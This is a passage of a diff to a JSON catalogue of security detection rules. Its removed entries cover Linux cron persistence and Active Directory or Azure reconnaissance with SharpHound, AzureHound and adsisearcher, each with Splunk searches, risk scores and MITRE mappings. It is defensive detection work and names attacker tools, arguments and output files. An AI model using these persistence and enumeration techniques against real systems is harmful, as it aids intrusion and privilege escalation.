"risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Adding Crontab Using List Parameter", - "description": "The following analytic detects suspicious modifications to cron jobs on Linux systems using the crontab command with list parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an attempt to establish persistence or execute malicious code on a schedule. If confirmed malicious, the impact could include unauthorized code execution, data destruction, or other damaging outcomes. Further investigation should analyze the added cron job, its associated command, and any related processes.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"crontab\" Processes.process= \"* -l*\" by Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_adding_crontab_using_list_parameter_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Gomir", - "Industroyer2", - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A possible crontab list command $process$ executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux At Allow Config File Creation", - "description": "The following analytic detects the creation of the /etc/at.allow or /etc/at.deny configuration files in Linux. It leverages file creation events from the Endpoint datamodel to identify when these files are created. This activity is significant as these files control user permissions for the \"at\" scheduling application and can be abused by attackers to establish persistence. If confirmed malicious, this could allow unauthorized execution of malicious code, leading to potential data theft or further system compromise. Analysts should review the file path, creation time, and associated processes to assess the threat.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/at.allow\", \"*/etc/at.deny\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_at_allow_config_file_creation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Edit Cron Table Parameter", - "description": "The following analytic detects the suspicious editing of cron jobs in Linux using the crontab command-line parameter (-e). It identifies this activity by monitoring command-line executions involving 'crontab' and the edit parameter. This behavior is significant for a SOC as cron job manipulations can indicate unauthorized persistence attempts or scheduled malicious actions. If confirmed malicious, this activity could lead to system compromise, unauthorized access, or broader network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = crontab Processes.process = \"*crontab *\" Processes.process = \"* -e*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_edit_cron_table_parameter_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A possible crontab edit command $process$ executed on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Possible Append Cronjob Entry on Existing Cronjob File", - "description": "The following analytic detects potential tampering with cronjob files on a Linux system by identifying 'echo' commands that append code to existing cronjob files. It leverages logs from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because adversaries often use it for persistence or privilege escalation. If confirmed malicious, this could allow attackers to execute unauthorized code automatically, leading to system compromises and unauthorized data access, thereby impacting business operations and data integrity.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Processes where Processes.process = \"*echo*\" AND Processes.process IN(\"*/etc/cron*\", \"*/var/spool/cron/*\", \"*/etc/anacrontab*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_append_cronjob_entry_on_existing_cronjob_file_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may modify cronjob file in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Possible Cronjob Modification With Editor", - "description": "The following analytic detects potential unauthorized modifications to Linux cronjobs using text editors like \"nano,\" \"vi,\" or \"vim.\" It identifies this activity by monitoring command-line executions that interact with cronjob configuration paths. This behavior is significant for a SOC as it may indicate attempts at privilege escalation or establishing persistent access. If confirmed malicious, the impact could be severe, allowing attackers to execute damaging actions such as data theft, system sabotage, or further network penetration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN(\"nano\",\"vim.basic\") OR Processes.process IN (\"*nano *\", \"*vi *\", \"*vim *\")) AND Processes.process IN(\"*/etc/cron*\", \"*/var/spool/cron/*\", \"*/etc/anacrontab*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_cronjob_modification_with_editor_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may modify cronjob file using editor in $dest$", - "risk_score": 6, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } } ], "external_reference": [ @@ -194956,2181 +154504,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Detect AzureHound Command-Line Arguments", - "description": "The following analytic detects the execution of the `Invoke-AzureHound` command-line argument, commonly used by the AzureHound tool. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because AzureHound is often used for reconnaissance in Azure environments, potentially exposing sensitive information. If confirmed malicious, this activity could allow an attacker to map out Azure Active Directory structures, aiding in further attacks and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*invoke-azurehound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ using AzureHound to enumerate AzureAD.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect AzureHound File Modifications", - "description": "The following analytic detects the creation of specific AzureHound-related files, such as `*-azurecollection.zip` and various `.json` files, on disk. It leverages data from the Endpoint.Filesystem datamodel, focusing on file creation events with specific filenames. This activity is significant because AzureHound is a tool used to gather information about Azure environments, similar to SharpHound for on-premises Active Directory. If confirmed malicious, this activity could indicate an attacker is collecting sensitive Azure environment data, potentially leading to further exploitation or privilege escalation within the cloud infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*-azurecollection.zip\", \"*-azprivroleadminrights.json\", \"*-azglobaladminrights.json\", \"*-azcloudappadmins.json\", \"*-azapplicationadmins.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to AzureHound, a AzureAD enumeration utility, has occurred on endpoint $dest$ by user $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Command-Line Arguments", - "description": "The following analytic detects the execution of SharpHound command-line arguments, specifically `-collectionMethod` and `invoke-bloodhound`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as SharpHound is commonly used for Active Directory enumeration, which can be a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially compromising sensitive information and critical systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*-collectionMethod*\",\"*invoke-bloodhound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible SharpHound command-Line arguments identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound File Modifications", - "description": "The following analytic detects the creation of files typically associated with SharpHound, a reconnaissance tool used for gathering domain and trust data. It leverages file modification events from the Endpoint.Filesystem data model, focusing on default file naming patterns like `*_BloodHound.zip` and various JSON files. This activity is significant as it indicates potential domain enumeration, which is a precursor to more targeted attacks. If confirmed malicious, an attacker could gain detailed insights into the domain structure, facilitating lateral movement and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*bloodhound.zip\", \"*_computers.json\", \"*_gpos.json\", \"*_domains.json\", \"*_users.json\", \"*_groups.json\", \"*_ous.json\", \"*_containers.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user| `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound file modifications identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Usage", - "description": "The following analytic detects the usage of the SharpHound binary by identifying its original filename, `SharpHound.exe`, and the process name. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process metadata and command-line executions. SharpHound is a tool used for Active Directory enumeration, often by attackers during the reconnaissance phase. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially leading to privilege escalation and lateral movement within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sharphound.exe OR Processes.original_file_name=SharpHound.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_usage_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound binary identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Domain Group Discovery with Adsisearcher", - "description": "The following analytic detects the use of the `[Adsisearcher]` type accelerator in PowerShell to query Active Directory for domain groups. It leverages PowerShell Script Block Logging (EventCode=4104) to identify specific script blocks containing `[adsisearcher]` and group-related queries. This activity is significant as it may indicate an attempt by adversaries or Red Teams to enumerate domain groups for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "`powershell` (ScriptBlockText = \"*[adsisearcher]*\" AND ScriptBlockText = \"*(objectcategory=group)*\" AND ScriptBlockText = \"*findAll()*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `domain_group_discovery_with_adsisearcher_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 18, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, 